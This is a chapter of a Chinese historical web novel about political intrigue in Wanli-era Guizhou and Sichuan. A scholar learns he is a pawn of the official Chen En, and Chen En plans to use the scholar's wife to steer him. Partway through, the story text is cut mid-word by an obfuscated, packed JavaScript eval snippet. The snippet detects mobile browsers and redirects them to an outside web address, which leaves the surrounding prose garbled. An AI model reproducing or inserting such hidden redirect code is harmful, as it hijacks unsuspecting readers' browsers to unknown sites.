万历三十一年,四月中旬。
遵义府学红墙之内,春雨初歇,檐角水珠串串坠落,滴答敲湿阶前青石板,寒气顺着石缝往上钻,砭人肌骨。何若海整了整浆洗挺括的青绸襕衫,对着陈加第、熊仕谦躬身一揖,正要辞别诸人,启程返回贵阳。
“若海留步。”熊仕谦伸手轻轻一拦,语气平和,眼底却凝着一层化不开的凝重,“随我到内堂一叙。”
话音不高,却带着不容推辞的分量。何若海心头猛地一凛——熊仕谦乃云锦熊氏族人、熊文灿族叔,在川黔士林与官场间根基深厚,向来言辞审慎,今日这般单独密谈,定是有关乎身家性命的要紧事。他不敢怠慢,敛声屏息,紧随熊仕谦往教授署僻静偏堂走去。
踏入偏堂,熊仕谦反手掩上门窗,指节在门板上轻轻一扣,示意门外亲随守远些。四下确认无人窥听,他转过身来,脸上温和笑意尽数褪去,神色沉肃如铁。
“你此番回贵阳,当真以为乡试之路平坦?”熊仕谦开口便直戳要害,目光如刃落在何若海身上,带着几分恨铁不成钢,“你的八股文章,我已细细看过。破题承题严守朱注,行文四平八稳,卷面洁净无可挑剔,放在遵义府学堪称翘楚,可若拿去成都参加乡试——必落榜。”
何若海猛地一怔,躬身拱手,神色茫然:“训导教诲,门生不解。门生文章虽算不上顶尖,却也句句合规,怎会毫无指望?”
“指望?”熊仕谦冷笑一声,指尖轻叩桌案,字字敲在人心上,“你可知四川全省一十三府、六个直隶州,赴成都乡试的秀才足有两千五百之众,可朝廷定额录取,连八十人都不到。三十个秀才里才出一个举人,这是千军万马过独木桥!”
他顿了顿,语气更沉,字字戳破遵义士子的虚妄:“更要命的是,成都、重庆、叙州三府文风鼎盛,世家子弟扎堆,每科中举之人,七成以上都出自这三府。其余州府的士子,想要中举,堪比祖坟冒青烟!遵义军民府改流未久,首度参与成都乡试,士子根基、文风底蕴,远不及四川本土平均水准。你凭什么以为,自己能在这场厮杀里挣得一席之地?”
一番话如冰水浇头,何若海浑身一凉,方才科场扬威的意气,瞬间消散大半。他垂首默然,良久才低声道:“门生……只是尽力一搏。何况门生如今在贵州布政司经历司任书吏,差事体面,也算有个安身立命的去处。”
“体面?”熊仕谦目光一厉,语气陡然转冷,“你可知你经历司书吏这个位置,前任是谁?”
何若海一愣,据实回道:“听经历张大人提及,是水西慕魁辅事陈恩大人的侄儿,陈其愚。这……与门生有何干系?”
“干系?”熊仕谦长叹一声,语气里满是洞悉内情的通透,“陈其愚跟随陈恩多年,熟稔川黔边贸、土司承袭诸般要务,才干不在你之下。可陈恩偏偏把他从经历司调走,派去镇雄,撮合安尧臣与奢社辉的婚事——表面是重用历练,实则是断他在省城立足的念想!”
何若海心头巨震,脚下一晃:“断他念想?辅事大人为何要如此对待亲侄?”
“陈其策今年已十八岁,到了历练安身的年纪。”熊仕谦声音压得极低,近乎耳语,字字如针,“陈恩这只老狐狸,早就盘算好,让亲生儿子陈其策,顶替经历司书吏这个肥缺。你以为你是凭才干得此差事?你不过是陈恩用来给儿子铺路的过渡棋子!等时机一到,你轻则被一脚踢开,重则卷入祸事,身败名裂!”
“棋子……”何若海脸色发白,指尖微微颤抖,心底冰凉一片,“那……那我日后难道还要回遵义推官府,重做一个底层书吏?”
“目光短浅!”熊仕谦厉声呵斥,“你以为陈氏叔侄只是算计一个书吏位置?他们在永宁宣抚使承袭一事上,硬生生磨了奢崇明八年!拖着不办、层层设卡,害得奢社辉二十三岁都嫁不出去,奢氏兄妹对陈其愚恨之入骨,又怎会给他好脸色?陈恩把侄儿推出去,既是让他顶锅,也是借奢氏之手,断了他的权位之念,好给亲儿子腾路!”
何若海脑中轰然一响,一个可怕的念头瞬间窜出,惊得他浑身发颤:“陈恩……是要派我去,替他侄儿解围?去蹚永宁奢氏这趟浑水?”
“不错。”熊仕谦点头,神色凝重如铁,“这只老狐狸,早已暗中唆使,要你出面调停安尧臣婚事,化解奢氏怨气。你怕是还不知道,你妹妹何若汐落入醉仙楼,遭人百般刁难,根本不是意外!”
何若海浑身剧颤,如遭雷击,脸色瞬间惨白如纸,眼底迸出惊怒与剧痛,双拳攥得指节发白:“训导大人……您说什么?若汐她……她是被人刻意算计?”
“安疆臣身为定远侯、贵州宣慰使,志在称霸西南,不屑用这等下作伎俩。”熊仕谦语气沉冷,道出惊天隐秘,“动手脚、设圈套,逼得你进退维谷,处处受制于人——最有可能的,就是陈恩!”
“陈恩……”何若海攥紧双拳,指甲深深嵌进掌心,渗出血丝也浑然不觉,恨意与恐惧交织,几乎要冲垮理智,“他……他好狠的心!为了拿捏我,竟对我亲妹下手……训导大人,门生从未想过掺和土司纷争,只求赎出妹妹,安稳度日,求大人指点门生,究竟该如何是好?”
“由不得你不想。”熊仕谦长叹一声,语气带着几分无奈,“你身在川黔博弈漩涡中心,掌管土司承袭文牍,又握有播州旧情与熊氏人脉,早已入局,身不由己。”
他凑近一步,声音低得只有两人可闻,道出朝廷顶层大局:“当今朝廷在西南的大局,是扶奢制安——扶持永宁奢氏,制衡水西安氏,防止一家独大,威胁边陲。你是聪明人,该知道顺着大势走,才有生路。”
熊仕谦再三叮嘱:“这些话出我口入你取,万不可对第三人言。”
密谈至此,何若海只觉后背冷汗涔涔,浸透衣衫,从头到脚一片冰凉。陈恩的算计、土司的纷争、朝廷的大局、妹妹的安危、自身的前程……无数丝线缠成死结,将他牢牢捆在中央,动弹不得。
他踉跄一步,拱手深深一揖,声音沙哑颤抖:“门生……记下了。”
二人不知,偏堂西侧耳房之内,遵义知府蔡凤梧一身便服,静立窗侧,将这番对话听得一字不漏。
待何若海随熊仕谦走出偏堂,快步离去后,蔡凤梧缓缓走出耳房,面色沉肃,目光望向贵阳方向,眼底精光闪烁。
“府尊。”熊仕谦躬身行礼。
蔡凤梧微微颔首,指尖轻捻胡须,沉声道:“熊训导,你今日所言,句句切中要害。何若海此人,有才学、有分寸、有底线,又握经历司要害,正是朝廷嵌入川黔土司棋局的最佳棋子。”
“四川官府与中枢心意相通,皆要削水西之势,扶奢氏制衡。陈恩想拿何若海当垫脚石,咱们便顺水推舟,让他去镇雄、去永宁,把水西安氏的势力,彻底从川黔交界逐出去。”
熊仕谦心领神会,低声道:“府尊高见。何若海有软肋,有底线,亦有血性,只要点拨得当,必能成为破局关键。”
蔡凤梧望着府学门外春雨迷蒙的长街,语气笃定:“他的路,本官与四川督抚,已经替他铺好了。”
何若海走出遵义府学,脚步沉重如灌铅,每一步都踩在心上。春雨微凉,打湿他的鬓角,却驱不散心底的寒意。方才一番密语,桩桩件件,细思极恐,让他遍体生寒。他不敢多作停留,匆匆收拾行装,策马启程,一路心神不宁,赶回贵阳。
待到暮色四合,终于踏入贵阳租住的小院。
苏婉清挺着微隆的小腹,早已在院中翘首以盼,见他归来,眼中瞬间亮起光彩,快步迎上,正要笑语相迎,却见他面色惨白、愁眉不展,满心欢喜顿时化作担忧。
“相公,你可算回来了。”苏婉清轻轻扶住他的手臂,柔声问道,“怎么脸色这般难看?若汐妹妹呢,怎么没跟你一同回来?可是出了什么事?”
提及妹妹,何若海心头一痛,再也掩饰不住满面愁绪,低声叹道:“婉清,若汐她……还在醉仙楼。那鸨母与恶人串通,张口就要一百五十两赎身银,我……我如今到哪里去凑这一笔巨款?”
一百五十两,如一座大山,重重压在夫妻二人心头。苏婉清脸色微变,眼底掠过一丝失落,却很快收起愁容,伸手轻轻抚上他的脸颊,柔声安慰:“相公,我知道你心里苦,别去想那些烦心事了,好不好?咱们的孩儿再过几个月就要出生了,你快想想,给孩子起什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540478|203925||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么名字好?”
她刻意转移话题,想驱散丈夫心头的阴霾,眼底满是温柔期盼。
何若海望着妻子温婉的眉眼,心头一暖,压下万般愁绪,沉吟片刻,轻声道:“若是男孩,便叫何浩然,寓意心胸浩大、一身正气,将来莫要像我这般,处处受制于人;若是女孩,便叫何浩妍,愿她生得美好容颜,性情聪慧大方,一生安稳顺遂,不受半分苦楚。”
“浩然……浩妍……”苏婉清轻声念着,眼底泛起笑意,靠在丈夫肩头,柔声道,“相公才思敏捷,这名字真好,喜气。咱们的宝宝将来,一定聪明又优秀。”
说罢,她仰起头,在他脸颊轻轻一吻,满是依赖。
何若海心头一软,伸手揽住她的腰,低声叹道:“还是婉清最贴心。”
苏婉清依偎在他怀中,若有所思,眼睛轻轻眨动,忽然轻声问道:“相公,你觉得辅事大人陈恩的夫人张婶婶,人怎么样?她对我极好,你不在贵阳的日子里,时常邀我去她家做客。她家好气派,好阔绰,若是咱们家能有他们一半体面,我就心满意足了。”
何若海苦笑一声:“张婶婶待人宽厚,可辅事大人格佐陈氏,是水西慕魁世家,位极人臣,权势滔天,咱们这般小户人家,怎能与他们相提并论。”
“可婶婶总是夸你。”苏婉清仰起头,眼底带着几分向往,“她说相公才学过人,脑子活络,嘴甜知礼,笔墨丹青更是当世罕见,将来成就,绝不在辅事大人之下。她还时常送我些绫罗绸缎、精巧小礼物,待我亲如侄女一般。”
何若海心中一动,伸手将妻子抱紧,低头在她额间亲了一下,苦笑道:“你这是想让你相公,成为辅事大人那样的人物啊。我若真有这般福气,咱们的孩子便不必再担惊受怕,若汐妹妹也不会被人肆意欺负了。”
苏婉清脸颊微红,轻声道:“相公,我是不是太不知足了?可我真的希望……咱们家能像辅事大人家一样,锦衣玉食,仆从相随,一辈子吃穿不愁,活得体面风光,再也不用受人欺辱,为银钱发愁。”
何若海沉默片刻,望着院中昏黄灯火,缓缓点头。婉清说得没错,他一介寒门秀才,无靠山无祖业,想要在这乱世立足,护住妻小、赎回妹妹,摆脱任人摆布的宿命,唯有向上攀登。
同一时刻,贵阳水西慕魁辅事府邸深处,内堂灯火昏黄,暖意融融。
陈恩端坐在太师椅上,一身常服,面容清癯,眼神深邃如潭,指尖轻轻叩着扶手。一旁张氏捧着热茶,递到他手中,柔声问道:“老爷,你为何这么在意婉清姑娘?这姑娘倒是挺讨人喜欢,非常机灵、说话得体,只是有些爱占小便宜,过于看重富贵、凡事总先想自己。”
陈恩接过茶盏,浅啜一口,嘴角勾起一抹深意的笑:“不错,有这丫头,足以驾驭何若海这头不听使唤的良驹。何若海重情重义,唯独对这娇妻言听计从。让她吹吹枕头风,最好吹得何若海迷迷糊糊的,他才会心甘情愿,替愚儿(陈其愚)解围,去蹚镇雄、永宁那趟浑水。”
张氏恍然大悟,随即又蹙起眉,轻声问道:“老爷,你觉得策儿怎么样?他聪慧懂事,待人谦和,将来能胜过愚儿和何若海吗?”
陈恩抬眸,看向妻子,眼底闪过一丝复杂,既有为人父的期许,又有看透世事的清明。他深知,亲子陈其策聪慧可爱,性子温顺,可器量不足,魄力欠缺,论隐忍、论才干、论格局,尚不及侄儿陈其愚,更无法与心志坚韧的何若海相提并论。
但他不会在妻子面前戳破儿子的不足,只为给妻儿保留最后一点体面与希冀。
陈恩放下茶盏,语气平缓,不轻不重,恰如当年诸葛亮评其子诸葛瞻:“策儿聪慧可爱,恐不为重器耳。”
轻描淡写八个字,藏尽他对人心、对时局、对自家骨肉的透彻洞悉。
张氏虽不甚懂,却也听出老爷并未过分夸赞儿子,只得轻叹一声,不再多言。
陈恩望向窗外沉沉夜色,眼底寒光乍现。
何若海这枚棋子,已经被推到了棋局正中,进退无路。
而他那柄藏在枕边的软刀——苏婉清,也已悄然出鞘。
川黔博弈的杀棋,就此落子。